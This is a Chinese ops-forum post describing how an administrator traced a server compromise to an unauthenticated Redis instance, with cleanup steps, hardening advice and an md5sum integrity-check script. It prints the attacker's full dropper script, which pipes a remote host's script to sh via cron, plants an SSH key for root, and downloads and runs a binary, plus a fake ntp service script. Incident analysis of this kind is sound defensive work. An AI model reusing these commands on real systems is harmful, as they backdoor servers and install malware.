设为首页 收藏本站
查看: 1425|回复: 0

[经验分享] redis非授权访问的查毒过程

[复制链接]

尚未签到

发表于 2018-11-4 13:31:21 | 显示全部楼层 |阅读模式
排查及处理过程
  9月某天日晚,阿里云后台报告有一台服务器在异地登录的告警,初步怀疑是被***了,临时采取关闭这台服务器的方法避免对集群中的其他主机造成危害。
  第二天,开始排查原因。
  首先在服务器上发现一个额外的计划任务(下图是解决过程中被我注释掉了)
DSC0000.png

  联想到这个机器上跑有redis,基本断定是redis的未加密码导致的非授权访问。
  根据以往经验,linux上的这个病毒通常是DDOS或者挖矿程序。下面来慢慢分析。
  我们根据crontab里面的网址,我们到chrome里面输入这个链接下载下看下文件内容,(建议在虚拟机里操作,防止这个文件是浏览器0day利用脚本),
  下面是wget 下载到的pm.sh,内容如下:
  exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
  echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/root
  mkdir-p /var/spool/cron/crontabs
  echo"*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh"> /var/spool/cron/crontabs/root
  if[ ! -f "/root/.ssh/KHK75NEOiq" ]; then
  mkdir -p ~/.ssh
  rm -f ~/.ssh/authorized_keys*
  echo "ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq
  echo "PermitRootLogin yes">> /etc/ssh/sshd_config
  echo "RSAAuthentication yes">> /etc/ssh/sshd_config
  echo "PubkeyAuthentication yes">> /etc/ssh/sshd_config
  echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
  /etc/init.d/sshd restart
  fi
  if[ ! -f "/etc/init.d/ntp" ]; then
  if [ ! -f"/etc/systemd/system/ntp.service" ]; then
  mkdir -p /opt
  curl -fsSL http://r.chanstring.com/v51/lady_`uname-m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33&& /opt/KHK75NEOiq33 -Install
  fi
  fi
  /etc/init.d/ntpstart
  psauxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
  psauxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
  根据这个脚本的内容,我们大致就知道他的作案手段了:
  1、利用redis非授权***
  2、下载脚本,写入crontab定时执行,确保病毒的再生。
  3、修改服务器sshd登录为他自己的秘钥。
  4、根据http://r.chanstring.com/v51/lady_`uname-m`  这样能根据系统版本来自动下载匹配当前版本的病毒,确保病毒的正常运行。将病毒释放到/opt目录下,文件名KHK75NEOiq33。
  5、/opt/KHK75NEOiq33 -Install 这步操作应该是释放出病毒文件(如下的ntp)【hexdump -C /opt/KHK75NEOiq33 可以看到文件内容,但是好像是加密了。暂不具备反汇编能力,无法获知这个命令感染了哪些文件】
  6、伪造ntp服务,给管理员造成迷惑,驻留后台。(Linux下是没有ntp服务的,有的是ntpd服务)
  附发现的伪造的/etc/init.d/ntp文件内容:
  #!/bin/sh
  #For RedHat and cousins:
  #chkconfig: - 99 01
  #description: NTP daemon
  #processname: /usr/sbin/ntp
  ###BEGIN INIT INFO
  #Provides:          /usr/sbin/ntp
  #Required-Start:
  #Required-Stop:
  #Default-Start:     2 3 4 5
  #Default-Stop:      0 1 6
  #Short-Description: NTP daemon
  #Description:       NTP daemon
  ###END INIT INFO
  cmd="/usr/sbin/ntp "-D""
  # 正常的系统上不存在这个可执行程序,可以断定是/opt/KHK75NEOiq33-Install 释放出来的
  # 将这个文件和/opt/KHK75NEOiq33 -Install 通过diff命令比对,发现是同一个文件。
  name=$(basename$0)
  pid_file="/var/run/$name.pid"
  stdout_log="/var/log/$name.log"
  stderr_log="/var/log/$name.err"
  get_pid(){
  cat "$pid_file"
  }
  is_running(){
  [ -f "$pid_file" ] &&/usr/sbin/ntp -Pid $(get_pid) > /dev/null 2>&1
  }
  case"$1" in
  start)
  if is_running; then
  echo "Already started"
  else
  echo "Starting $name"
  $cmd >>"$stdout_log" 2>> "$stderr_log" &
  echo $! > "$pid_file"
  if ! is_running; then
  echo "Unable to start, see$stdout_log and $stderr_log"
  exit 1
  fi
  fi
  ;;
  stop)
  if is_running; then
  echo -n "Stopping$name.."
  kill $(get_pid)
  for i in {1..10}
  do
  if ! is_running; then
  break
  fi
  echo -n "."
  sleep 1
  done
  echo
  if is_running; then
  echo "Not stopped; maystill be shutting down or shutdown may have failed"
  exit 1
  else
  echo "Stopped"
  if [ -f "$pid_file"]; then
  rm "$pid_file"
  fi
  fi
  else
  echo "Not running"
  fi
  ;;
  restart)
  $0 stop
  if is_running; then
  echo "Unable to stop, will notattempt to start"
  exit 1
  fi
  $0 start
  ;;
  status)
  if is_running; then
  echo "Running"
  else
  echo "Stopped"
  exit 1
  fi
  ;;
  *)
  echo "Usage: $0{start|stop|restart|status}"
  exit 1
  ;;
  esac
  exit0
  chkconfig--list|grep 3:on 可以看到ntp这个伪装的服务被设置为开机自启动了。
DSC0001.png

  解决方法:
  chkconfig ntp off
  chkconfig --del ntp
  先拷贝出ntp这个启动脚本,然后rm -f /etc/init.d/ntp
  先拷贝出/usr/sbin/ntp /opt/KHK75NEOiq33这2个病毒文件,然后rm -f /usr/sbin/ntp /opt/KHK75NEOiq33 删除病毒文件
  编辑 /var/spool/cron/crontabs/root和 /var/spool/cron/root,清除植入的cron计划任务
  此外,还要检查以下几处:
  1、是否有新添加的账户 【grep '/bin/bash' /etc/passwd】
  2、查看其他可登陆的账户下是否也有恶意的计划任务
  3、检查是否有新添加了sudo账户
  当然,这是台线上的服务器,为了防止还有残留的病毒文件,最好我们还是先备份下数据,然后重装了系统。
  
  安全策略:

  •   给redis做密码授权访问,不要绑定在0.0.0.0:6379端口。
  •   开启iptables防火墙,只允许部分主机访问redis端口
  •   编写脚本,定期检查汇报重要文件的md5sum。
  附一个之前写过检测md5sum的脚本:
  step1、首先在新安装的无问题的电脑上执行下面几条命令,将MD5SUM保存下来,作为原始模板:
  #!/bin/bash
  #记录原始的执行文件的md5sum
  if[[ ! -d /var/md5sum/ ]];then
  mkdir /var/md5sum -p
  fi
  fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do
  find $i -maxdepth 1 -type f | xargs -n1 md5sum >>/var/md5sum/md5sum.log.ori
  done
  step2、下面是我的/home/scripts/chkmd5sum.sh脚本,作用是检查相关目录的md5sum是否发生变化。
  #!/bin/bash
  #需要配置计划任务定期执行这个脚本,比对md5sum是否发生变化,变化则自动告警。
  if[[ ! -d /var/md5sum/ ]];then
  mkdir /var/md5sum -p
  fi
  rm-f /tmp/md5sum*
  fori in /bin /sbin /usr/local/bin /usr/local/sbin /usr/bin;do
  find $i -maxdepth 1 -type f | xargs -n1 md5sum >> /tmp/md5sum.log_`date+%F`
  done
  if! diff /tmp/md5sum.log_`date +%F` /var/md5sum/md5sum.log.ori > /tmp/md5sum_status ;then
  cat /tmp/md5sum_status |mail -s"Warning,Md5sum has changed." lirulei90@126.com
  fi
  rm-f /tmp/md5sum_status
  step3、添加定时任务,每天检查一遍,有变化就发送邮件告警(要求高的话,可以每天检查2次或更多)
  echo'30 7 * * * /bin/bash /home/scripts/chkmd5sum.sh > /dev/null 2>&1'>> /var/spool/cron/root
后续
  去chinaz.com查看下这个域名,结果也在预料之内,注册在国外,未备案。
DSC0002.png

DSC0003.png

DSC0004.png

DSC0005.png



运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-630709-1-1.html 上篇帖子: codeigniter 3.X使用redis 下篇帖子: redis非授权访问的查毒过程
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表